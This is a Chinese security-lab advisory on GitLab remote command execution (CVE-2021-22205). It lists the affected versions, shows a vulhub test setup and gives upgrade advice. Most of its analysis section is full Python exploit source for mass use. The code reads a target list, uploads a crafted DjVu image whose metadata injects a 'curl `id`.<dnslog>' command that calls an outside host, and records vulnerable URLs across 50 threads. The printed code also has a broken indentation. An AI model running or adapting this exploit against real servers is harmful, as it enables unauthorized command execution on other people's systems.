漏洞预警:gitlab命令执行(CVE-2021-22205)

 ——D&X安全实验室


目录

Part1 漏洞描述

Part2 危害等级

Part3 漏洞影响

Part4 漏洞分析及验证

        (1)使用vulhub搭建环境。

        2)利用脚本

        3)查看回显

Part5 修复建议


Part1 漏洞描述

        GitLab是美国GitLab公司的一款使用Ruby on Rails开发的、自托管的、Git(版本控制系统)项目仓库应用程序。 由于 GitLab 没有正确验证传递给文件解析器的图像文件,攻击者可利用该漏洞在服务端进行远程命令执行。

Part2 危害等级

CVSS评分为高危9.9

Part3 漏洞影响

  • 11.9 <= Gitlab CE/EE < 13.8.8

  • 13.9 <= Gitlab CE/EE < 13.9.6

  • 13.10 <= Gitlab CE/EE < 13.10.3

Part4 漏洞分析及验证

        根据漏洞的原理:自己写了一个poc,下面验证一下。

        (1)使用vulhub搭建环境。

漏洞预警:gitlab命令执行(CVE-2021-22205)_第1张图片

        2)利用脚本

漏洞预警:gitlab命令执行(CVE-2021-22205)_第2张图片

        -f:指定批量验证的文件 -d:指定回显的dnslog 如果检测到存在漏洞,则在当前目录生成一个gitlab.txt,用来记录存在漏洞的url

        3)查看回显

漏洞预警:gitlab命令执行(CVE-2021-22205)_第3张图片

        POC源码:

def check(target_url,dnslog):
    session = requests.Session()
    first = target_url
    first = first + "/users/sign_in"
    header = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    try:
        response = session.get(first, headers=header, verify=False, timeout=3)
        token = re.findall(r'name="csrf-token" content="(.+?)"', response.text)
        token = ''.join(token)

        dnslog_command = "curl `id`.{}".format(dnslog)


data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{"+ dnslog_command +"} . \\\n\" b \") )  " \
"                                                                                                                                                                                                                                                                                                                                                                                                                                   \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n"
        headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
            "Connection": "close",
            "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
            "X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"}
        flag = 'Failed to process image'
        req2 = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)
        if flag in req2.text:
            print("[+] {} 存在漏洞利用!".format(target_url))
            with open("gitlab.txt", "a+") as a:
                a.write("[+] 存在远程RCE漏洞:{}\n".format(target_url))
    except :
        print("[-] Coneect Timeout !")



def format_url(url):
    try:
        if url[:4] != "http":
            url = "https://" + url
            url = url.strip()
        return url
    except Exception as e:
        print('URL 错误 {0}'.format(url))


def main():
    parser = argparse.ArgumentParser(description='GitLab < 13.10.3 RCE')
    parser.add_argument('-f', '--file', help='Please Input a url.txt!', default='')
    parser.add_argument('-d', '--dnslog', help='Please Input a dnslog!', default='')
    args = parser.parse_args()
    print("[*] Your DnsLog",args.dnslog)
    with open(args.file, "r") as f:
        gitlab = f.read().split("\n")
        i = 0
        while True:
            if i < len(gitlab) and threading.active_count() <= 50:  # 50线程
                if gitlab[i].strip() != '': # 去掉空格
                    url_path = format_url(gitlab[i].strip())
                    url_target = format_url(url_path)  # 检查格式
                    t = threading.Thread(target=check, args=(url_target,args.dnslog,))
                    t.start()
                    i += 1
            if i == len(gitlab) and threading.active_count() == 1:
                print("[*] done result write in gitlab.txt !")
                break

def remove_duplicates(path):
    lines_seen = set()
    outfile = open(f"{path}.out", 'a+')
    f = open(path, 'r')
    for line in f:
        if line not in lines_seen:
            outfile.write(line)
            lines_seen.add(line)
    outfile.close()
    f.close()

if __name__ == '__main__':
    if len(sys.argv)==1:
         sys.exit()
    main()

Part5 修复建议

        官⽅升级 ⽬前官⽅已发布新版本修复了该漏洞,请受影响的⽤户尽快升级⾄最新版本进⾏防护。 官⽅下载链接:https://about.gitlab.com/update/ 若相关⽤户暂时⽆法进⾏升级操作,可使⽤⽩名单限制对Web端⼝的访问。


“D&X 安全实验室”

专注渗透测试技术

全球最新网络攻击技术

漏洞预警:gitlab命令执行(CVE-2021-22205)_第4张图片

你可能感兴趣的:(安全)